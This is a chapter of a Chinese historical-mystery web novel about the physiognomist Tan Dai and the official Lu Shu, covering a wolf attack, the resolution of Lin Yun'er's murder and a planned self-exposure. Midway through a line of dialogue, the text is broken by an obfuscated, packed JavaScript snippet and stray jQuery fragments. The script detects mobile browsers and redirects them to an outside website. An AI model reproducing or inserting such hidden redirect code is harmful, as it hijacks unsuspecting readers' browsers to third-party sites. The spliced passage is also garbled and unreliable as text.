路舒毫不犹豫地回答道:“会。”
谈黛始料未及,一时错愕,但马上又打趣道:“路大人对每个朋友都这般重情重义吗?”
“自然。”
谈黛:“……”
好吧,她想多了。
路舒麻利地捆了卢秀才手脚,到洞口朝天放了一支“起火”。
橙黄色的烟火在高空中炸开,划过漆黑的夜幕,拖曳出长长的尾焰。
“等一会赵捕快他们吧。”路舒转过头说道。
“好,”谈黛仰头望向天际,陷入回想。
小时候大年三十的晚上,京城的夜空总是遍布五彩斑斓的烟花。然而,她家中家教森严,是不被允许碰一下的。罹难后,她流落市井,莫道是烟花,便是下餐饭都未必买得起。后来,她成了天机阁的人,又靠给人看相攒了些小钱。那段时间里她买了很多烟花爆竹,各式各样的,仿佛要把童年缺失的一块补回来。
望着那些星星点点的璀璨,她很开心,她认为她很开心。
而此时,她只希望,道道烟火能照亮观朝的暗夜,直到真正的黎明到来。
十分不幸的是,他们没能等来赵、周二位捕快,反而等来了一位不速之客。
“嗷呜——”
洞口几十步开外的草丛中,一匹灰狼正朝他们窥伺,那畜生毛发干枯,瘦骨嶙峋,一双眼睛却如鬼火般亮得渗人。
两人倒是都不慌乱,谈黛率先从火堆中抽出一根燃烧的树枝,猛地向前一挥。
那狼退后几步,却没有离开,它低头嗅嗅地面,又发出一声嚎叫。
路舒观察了下周围,轻声道:“应该是匹孤狼。”
如果是孤狼的话倒是好办,用火把就有可能驱离。
谈黛深吸了一口气,向前走了几步,将火把猛地朝那狼一戳。
狼倏地后退半步,喉咙里发出咕噜咕噜的声响。然而下一瞬,它竟骤然袭向谈黛,直取她的咽喉!
“谈黛!”路舒显然也没料到一匹瘦弱的孤狼会主动袭人。
谈黛心悬到了嗓子眼,本能地侧身躲过这致命一击。那狼一次扑空,蓄力又要袭击。可路舒没有给它这个机会。
他手起刀落,短刃直接捅穿狼的脖颈,再用力一拔,鲜血自被割破的喉管中喷涌而出,溅了他小半张脸。
谈黛还从来没有见过这样的他:火光摇曳间,那张向来温润如玉的脸,此刻从眉骨至下颌凝着几道猩红的痕迹,连睫毛上都挂着血珠。他喘息着,手中短刃仍在滴血,可眼神中却流露出毫不掩饰的偏执与疯狂。
那狼的尸体在他脚边抽搐,喉间的血窟窿汩汩冒着热气。他忽然抬眸,染血的面容在阴影中半明半暗,目光如刀般扫过来——那一瞬,她竟下意识后退了半步。
“有时候,反反复复地试探不如直接动手来得有效。”他沉声道。
他这是在暗示什么?!谈黛心中一惊。难道他已经察觉了?
然而,下一瞬,路舒又恢复了素日里温和沉稳的模样,他拭去了面上同刃上的鲜血,“路某本是乡野之人,手段粗陋,谈姑娘见笑了。”
谈黛扯扯僵了的嘴角,“您过谦了。”
“血腥气可能引来别的狼,带上卢秀才,我们先离开。”
*
次日,云江悦来客栈。
“论曰:林氏以女流之身立世,营逆旅,赡宗族,虽丈夫亦多不及,然终罹横祸,悲夫。——《花间录十六·林芸儿传》”
行文至此,谈黛轻轻撂下笔,神情是人前难得一见的严肃专注。她提起惯用的酒壶,轻轻碰了下桌上的茶杯,“敬你。”
“谈黛,”楚长老推门而入,一进门就闻见清香的酒味,“你还在这里喝酒?你知不知道县衙都炸锅了!”
“嗯?”
“哎呀,就刚刚,李知县重审林芸儿的案子。你猜怎么着,她那黄土埋了半截老父亲还有那个难缠的堂弟朱明禄都承认人是自己害死的。可一问他们是怎么杀的,他们又支支吾吾地说不清楚。”
“嗯。”
倘若林芸儿当真自缢而死,逼迫她过甚的此二人又是否算作凶手?
谈黛心里清楚,这样的假设并不存在,因为林芸儿,实在是一名刚强的女子,甚至直到遇害的前一天深夜,她还在翻看客栈的账目。
楚长老继续说道:“后来,居然是一个姓卢的秀才交出了勒死林芸儿的麻绳,还招供说是他对林芸儿心怀不轨,林芸儿抵死反抗,他一气之下就杀了她。事后怕人追究,才将她伪装成上吊自杀的样子。这下,李知县要为林芸儿请表节烈呢。”
她终究还是将以这样的形象名留青史了。谈黛轻叹。
“最后,林芸儿的父亲直接厥过去了,是被人抬走的。那朱明禄更是直接疯了似的大喊人是他害死的,嘴里还老是念叨着什么‘下地狱’,我看他也是不中用了。”
一口气说完,楚长老嗓子渴得冒烟,直接把桌上的茶灌了下去。
“哎,”谈黛没拦住,无奈道,“这是她的茶。”
楚长老疑惑地挑眉:“谁?”
“林芸儿。”
楚长老看看空茶杯,再看看谈黛,朝她摊了摊手,意思是:那又如何?
呃,忘了她是学外洋医术的了。
“对了,路舒的账本可有什么眉目?”谈黛问道。
“我拿水镜看过了,”楚长老一屁股坐在椅子上,“完全看不懂。但是从场景的陈设来看,应该都是他在丁忧期间写的。”
说着,她顺手翻起桌上的书稿,“《花间录》……第十六本了啊。”
谈黛“嗯”了一声,自嘲道:“可能再过几年就要叫《藏录》了。”
楚长老这一看就入了迷,没有回应她。良久,她才从书页中抬起头,“相比于以后出现在县志列女里的《林芸儿传》,我还是更喜欢你这个版本。”
“那有什么要紧,”谈黛轻笑,“你别忘了今晚的正事才是。”
“你可想好了?”楚长老皱眉,“万一路舒他……”
“不妨事,”谈黛看起来满不在意,“大不了就是去坐几天牢,还省了饭钱呢。”
楚长老嘴角抽搐了一下,“……你心态真好。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458838|169649||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
“何况,英明神武的楚长老有的是法子捞我出来,是吧?”谈黛朝她歪头一笑。
才刚熬了一个通宵看账本的楚长老:“我下次再答应阁主来帮你,我就跟你姓!”
“哦~不是来监视我的了?”
楚长老哼了一声。
两人正说着,敲门声兀地响起。
“谈姑娘,我有些问题要向你请教。”
是路舒。
二人对视一眼,楚长老站起来就要跳窗,被谈黛一把拉住。
“反正你晚上也要见他,这会子先给他留个印象也好。”谈黛说罢,去开了门。
“路大人。”她做了个请进的手势。
路舒踏进门来,一眼便看见了木桩子似的戳在原地的楚长老,“谈姑娘有客?那我过会儿再来。”
谈黛笑笑,“不忙,这位是我的妹妹,谈……脂。”
楚长老楚脂在心里翻了个大大的白眼,现实中却只能挂上假笑,“正是呢,我们姐妹也无甚要事,只不过凑在一起闲聊,路大人请便吧,小女先告辞了。”
“如此也好。”路舒朝她点点头。
“姐姐,”楚脂将这两个字咬得极重,又拿起桌上那本《花间录》,“书借我看看。”
“好的,阿脂。”谈黛掩唇轻笑。
路舒不晓得她们打什么哑谜,只当是姐妹间的玩笑,待楚脂离开,才开口问道:“在林村的时候我未及细问,谈姑娘江湖经验老道,可否能看出娘娘庙的红光是被人使了什么手段?”
“呃,”这会谈黛还真不知道该怎么回答,只能同他打太极,“江湖中能人异士众多,手段也是层出不穷。”
“竟一丝端倪都不露?”
谈黛沉默半晌,终是摇了摇头。
路舒的神色有些失望,“既如此,我先告辞了。”
“路大人,”谈黛叫住了他,转身倒了两杯酒,“喝一杯吗?”
今晚过后,一切都会不一样了,这一杯酒就当是告别。她这样想着。
路舒愣了一瞬,接过酒杯同她碰了一下,“好。”
“敬天下太平。”
“敬万千黎民。”
*
当晚,谈脂“良心发现”,向路舒哭诉她意外发现姐姐谈黛竟是假扮娘娘的幕后黑手。路舒当时并没有太大的反应,他面上既看不出得知真相的惊愕,也没有被欺骗的恼怒。
而在后世的传闻里,这个故事是这样的:
天奉年间,云江林氏女同外来神秘相师斗法,林氏虽略胜一筹,却耗尽法力死去。林氏虽死,魂却不散,长年护佑云江商旅平安,朝廷感其功德,敕封其为“林娘娘”,设庙祭祀,商人遇险或商路不畅时则会烧绣鞋向娘娘祝祷。
至于那一晚悦来客栈里的真相,便只有几位当事人才知道了。
隔日,路舒上奏请废禁海令,引起朝野一片轩然大波,有人感激涕零,亦有人怒斥其为乱臣贼子。
那日,天机阁长老谈黛的水镜中,未来战争的概率再次下降。而距离阁主的一月之期,还有二十二天。